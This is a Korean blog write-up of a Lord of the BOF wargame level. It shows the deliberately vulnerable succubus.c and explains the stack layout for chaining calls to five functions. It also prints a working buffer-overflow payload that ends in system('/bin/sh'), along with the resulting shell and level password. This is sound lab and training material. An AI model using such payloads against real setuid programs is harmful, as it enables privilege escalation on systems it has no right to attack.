2017. 11. 25. 17:29ㆍSystemHacking/LOB(BOF원정대)
zombie_assassin / no place to hide
/bin/bash2
export SHELL=/bin/bash2
[ succubus.c ]
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 | /* The Lord of the BOF : The Fellowship of the BOF - succubus - calling functions continuously */ #include <stdio.h> #include <stdlib.h> #include <dumpcode.h> // the inspector int check = 0; void MO(char *cmd) { if(check != 4) exit(0); printf("welcome to the MO!\n"); // olleh! system(cmd); } void YUT(void) { if(check != 3) exit(0); printf("welcome to the YUT!\n"); check = 4; } void GUL(void) { if(check != 2) exit(0); printf("welcome to the GUL!\n"); check = 3; } void GYE(void) { if(check != 1) exit(0); printf("welcome to the GYE!\n"); check = 2; } void DO(void) { printf("welcome to the DO!\n"); check = 1; } main(int argc, char *argv[]) { char buffer[40]; char *addr; if(argc < 2){ printf("argv error\n"); exit(0); } // you cannot use library if(strchr(argv[1], '\x40')){ printf("You cannot use library\n"); exit(0); } // check address addr = (char *)&DO; if(memcmp(argv[1]+44, &addr, 4) != 0){ printf("You must fall in love with DO\n"); exit(0); } // overflow! strcpy(buffer, argv[1]); printf("%s\n", buffer); // stack destroyer // 100 : extra space for copied argv[1] memset(buffer, 0, 44); memset(buffer+48+100, 0, 0xbfffffff - (int)(buffer+48+100)); // LD_* eraser // 40 : extra space for memset function memset(buffer-3000, 0, 3000-40); } | cs |
< 함수 호출 과정 >
call func : push eip & jmp func
func prologue : push ebp & mov ebp,esp
=> [ Stack ]
func's saved ebp
func's saved eip
arg1 ( func가 인자를 사용하는경우 )
main's saved ebp
main's saved eip
< 시나리오 >
buffer 40byte
main's saved ebp
main's saved eip &DO
DO's saved eip &GYE
GYE's saved eip &GUL
GUL's saved eip &YUT
YUT's saved eip &MO
AAAA
MO's arg 1
< gdb >
(gdb) p DO
$1 = {<text variable, no debug info>} 0x80487ec <DO>
(gdb) p GYE
$2 = {<text variable, no debug info>} 0x80487bc <GYE>
(gdb) p GUL
$3 = {<text variable, no debug info>} 0x804878c <GUL>
(gdb) p YUT
$4 = {<text variable, no debug info>} 0x804875c <YUT>
(gdb) p MO
$5 = {<text variable, no debug info>} 0x8048724 <MO>
< Payload >
MO's system()함수의 인자로 /bin/sh을 입력하려고 한다. 라이브러리내 주소를 사용할 수 없어 직접 스택에 넣어서 입력한다
[zombie_assassin@localhost zombie_assassin]$ ./succubus $(python -c 'print "A" * 44 + "\xec\x87\x04\x08" + "\xbc\x87\x04\x08" + "\x8c\x87\x04\x08" + "\x5c\x87\x04\x08" + "\x24\x87\x04\x08"+ "AAAA" + "\xa8\xfa\xff\xbf" + "/bin/sh" ')
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒▒\$AAAA▒▒▒▒/bin/sh
welcome to the DO!
welcome to the GYE!
welcome to the GUL!
welcome to the YUT!
welcome to the MO!
bash$ id
uid=516(zombie_assassin) gid=516(zombie_assassin) euid=517(succubus) egid=517(succubus) groups=516(zombie_assassin)
bash$ my-pass
euid = 517
here to stay
'SystemHacking > LOB(BOF원정대)' 카테고리의 다른 글
[20] xavius -> death_knight ( Remote BOF ) (0) | 2017.11.25 |
---|---|
[19] nightmare -> xavius (0) | 2017.11.25 |
[16] assassin -> zombie_assassin ( Fake EBP & leaveret ) (0) | 2017.11.20 |
[15] giant -> assassin ( Data Section ( leave & ret ) ) (0) | 2017.11.20 |
[14] bugbear -> giant ( RTL , execve ) (0) | 2017.11.20 |